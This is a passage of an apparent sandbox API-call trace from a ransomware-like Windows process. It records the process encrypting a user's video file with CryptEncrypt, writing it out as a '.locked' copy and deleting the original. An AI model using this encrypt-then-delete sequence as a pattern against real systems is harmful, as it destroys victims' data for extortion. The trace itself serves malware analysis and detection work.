[3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.161] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi.locked", lpFilePart=0x0) returned 0x37 [0139.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0139.162] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\et3ylzqrrm1z-73.avi.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0139.163] GetFileType (hFile=0x768) returned 0x1 [0139.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0139.163] GetFileType (hFile=0x768) returned 0x1 [0139.164] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.164] CryptGenRandom (in: hProv=0x4396a38, dwLen=0x10, pbBuffer=0x6a43e80 | out: pbBuffer=0x6a43e80) returned 1 [0139.164] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0139.164] CryptDuplicateKey (in: hKey=0x8e84db8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84bb8) returned 1 [0139.164] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0139.164] CryptSetKeyParam (hKey=0x8e84bb8, dwParam=0x4, pbData=0x6a4513c*=0x1, dwFlags=0x0) returned 1 [0139.164] CryptSetKeyParam (hKey=0x8e84bb8, dwParam=0x1, pbData=0x6a45108, dwFlags=0x0) returned 1 [0139.164] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xf990\x437\x242") returned 0x0 [0139.164] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.164] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.164] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.165] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.165] ReadFile (in: hFile=0x778, lpBuffer=0x6a48698, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a48698*, lpNumberOfBytesRead=0x99ae7a8*=0x9e8c, lpOverlapped=0x0) returned 1 [0139.165] CryptEncrypt (in: hKey=0x8e84bb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a5c6a4*, pdwDataLen=0x99ae79c*=0x9e80, dwBufLen=0x9e80 | out: pbData=0x6a5c6a4*, pdwDataLen=0x99ae79c*=0x9e80) returned 1 [0139.165] WriteFile (in: hFile=0x768, lpBuffer=0x6a43f40*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a43f40*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0139.166] WriteFile (in: hFile=0x768, lpBuffer=0x6a5d690*, nNumberOfBytesToWrite=0x8e94, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a5d690*, lpNumberOfBytesWritten=0x99ae780*=0x8e94, lpOverlapped=0x0) returned 1 [0139.167] ReadFile (in: hFile=0x778, lpBuffer=0x6a48698, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a48698*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0139.167] CryptEncrypt (in: hKey=0x8e84bb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a66548*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6a66548*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0139.167] CryptEncrypt (in: hKey=0x8e84bb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a6657c*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6a6657c*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0139.167] WriteFile (in: hFile=0x768, lpBuffer=0x6a43f40*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6a43f40*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0139.167] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", lpFilePart=0x0) returned 0x30 [0139.167] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.167] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.167] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.167] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.168] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\et3ylzqrrm1z-73.avi")) returned 0x20 [0139.168] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", lpFilePart=0x0) returned 0x30 [0139.168] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0139.168] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0139.168] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0139.168] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0139.168] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0139.168] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0139.169] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0139.169] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0139.169] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0139.169] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0139.169] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0139.169] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0139.169] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0139.169] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0139.169] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpFilePart=0x0) returned 0x1c [0139.169] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpFilePart=0x0) returned 0x1c [0139.169] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\et3ylzqrrm1z-73.avi")) returned 0x20 [0139.169] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", lpFilePart=0x0) returned 0x30 [0139.169] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", lpFilePart=0x0) returned 0x30 [0139.170] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", lpFilePart=0x0) returned 0x30 [0139.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0139.170] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", lpFilePart=0x0) returned 0x30 [0139.170] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi\\", lpFilePart=0x0) returned 0x31 [0139.170] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0139.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0139.170] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0139.170] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0139.170] CoTaskMemFree (pv=0x8eb8d30) [0139.171] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\et3ylzqrrm1z-73.avi")) returned 0x20 [0139.171] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", lpFilePart=0x0) returned 0x30 [0139.171] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", lpFilePart=0x0) returned 0x30 [0139.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0139.171] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\et3ylzqrrm1z-73.avi"), fInfoLevelId=0x0, lpFileInformation=0x6a78650 | out: lpFileInformation=0x6a78650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x823ab4a0, ftCreationTime.dwHighDateTime=0x1d4a2b6, ftLastAccessTime.dwLowDateTime=0xb3cfbd10, ftLastAccessTime.dwHighDateTime=0x1d4a079, ftLastWriteTime.dwLowDateTime=0xb3cfbd10, ftLastWriteTime.dwHighDateTime=0x1d4a079, nFileSizeHigh=0x0, nFileSizeLow=0x9e8c)) returned 1 [0139.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0139.171] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\et3ylzqrrm1z-73.avi")) returned 1 [0139.173] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.173] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.173] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.173] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.173] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.174] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\et3ylzqrrm1z-73.avi.locked")) returned 0x20 [0139.174] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\et3ylzqrrm1z-73.avi.locked")) returned 0x20 [0139.174] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi.locked", lpFilePart=0x0) returned 0x37 [0139.174] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi.locked", lpFilePart=0x0) returned 0x37 [0139.175] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.175] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi", lpFilePart=0x0) returned 0x30 [0139.175] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.175] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.175] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.175] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.176] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.176] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.176] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.176] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.176] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.178] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.178] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.178] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.178] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.178] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.179] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.179] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.179] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, 